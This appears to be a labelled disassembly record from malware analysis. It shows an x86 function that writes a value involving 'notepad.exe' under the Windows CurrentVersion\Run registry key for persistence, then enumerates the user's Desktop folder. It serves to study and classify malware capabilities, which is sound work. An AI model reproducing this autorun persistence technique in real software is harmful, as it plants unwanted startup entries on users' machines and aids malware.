Function at 0x47d360
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x57d268
mov eax, dword fs:[0]
push eax
sub esp, 0x54
mov eax, dword [0x5f5ea4]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0xd
xor eax, eax
mov dword [ebp - 0x18], 0
push str.notepad.exe__
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
call fcn.0044b730
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x28]
cmp dword [0x5f6b74], 8
mov eax, 0x5f6b60
push dword [0x5f6b70]
cmovae eax, dword [0x5f6b60]
push eax
call fcn.00452f50
push 1
push 0x5e2140
lea ecx, [ebp - 0x28]
call fcn.00452f50
mov eax, dword [ebp - 0x18]
mov ecx, 0x5fe3b8
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x44], 7
lea esi, [eax + eax]
xor eax, eax
mov word [ebp - 0x58], ax
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x47d407
sub ecx, edx
sar ecx, 1
push ecx
push 0x5fe3b8
lea ecx, [ebp - 0x58]
call fcn.0044b730
push 0
lea eax, [ebp - 0x5c]
mov byte [ebp - 4], 1
push eax
push 0
push 0x20106
push 0
xor eax, eax
cmp byte [0x5fcba2], al
push 0
push 0
setne al
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
add eax, 0x80000001
push eax
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x47d48a
cmp dword [ebp - 0x14], 8
lea ecx, [ebp - 0x28]
push esi
cmovae ecx, dword [ebp - 0x28]
lea eax, [ebp - 0x58]
cmp dword [ebp - 0x44], 8
push ecx
cmovae eax, dword [ebp - 0x58]
push 1
push 0
push eax
push dword [ebp - 0x5c]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 0x5c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [ebp - 0x14], 8
lea ecx, [ebp - 0x28]
push 0x2710
cmovae ecx, dword [ebp - 0x28]
mov edx, 5
push 0
call fcn.00475a10
push str.USERPROFILE
call fcn.005594c6
mov edx, eax
mov dword [ebp - 0x30], 0
mov ecx, edx
mov dword [ebp - 0x2c], 7
add esp, 0xc
xor eax, eax
mov word [ebp - 0x40], ax
lea esi, [ecx + 2]
nop
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x47d4d0
sub ecx, esi
sar ecx, 1
push ecx
push edx
lea ecx, [ebp - 0x40]
call fcn.0044b730
push 8
push str.Desktop
lea ecx, [ebp - 0x40]
mov byte [ebp - 4], 2
call fcn.00452f50
cmp dword [ebp - 0x2c], 8
lea edx, [ebp - 0x40]
cmovae edx, dword [ebp - 0x40]
sub esp, 0x18
mov esi, esp
mov ecx, edx
xor eax, eax
mov dword [esi + 0x10], 0
lea edi, [ecx + 2]
mov dword [esi + 0x14], 7
mov word [esi], ax
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x47d524
sub ecx, edi
sar ecx, 1
push ecx
push edx
mov ecx, esi
call fcn.0044b730
call fcn.0047a8b0
mov edi, dword [0x5fe918]
add esp, 0x18
mov esi, dword [edi]
cmp esi, edi
je 0x47d56b
sub esp, 0x18
mov ecx, esp
push dword [esi + 8]
call fcn.0044d0f0
call fcn.0047a8b0
mov esi, dword [esi]
add esp, 0x18
cmp esi, edi
jne 0x47d550
mov edx, dword [ebp - 0x2c]
cmp edx, 8
jb 0x47d5a5
mov ecx, dword [ebp - 0x40]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x47d59b
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x47d654
push edx
push ecx
call fcn.00536ae6
add esp, 8
mov edx, dword [ebp - 0x44]
xor eax, eax
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x2c], 7
mov word [ebp - 0x40], ax
cmp edx, 8
jb 0x47d5ef
mov ecx, dword [ebp - 0x58]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x47d5e5
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x47d659
push edx
push ecx
call fcn.00536ae6
add esp, 8
mov edx, dword [ebp - 0x14]
xor eax, eax
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x44], 7
mov word [ebp - 0x58], ax
cmp edx, 8
jb 0x47d639
mov ecx, dword [ebp - 0x28]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x47d62f
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x47d65e
push edx
push ecx
call fcn.00536ae6
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.005368a5
mov esp, ebp
pop ebp
ret
call fcn.00552581
call fcn.00552581
call fcn.00552581
int3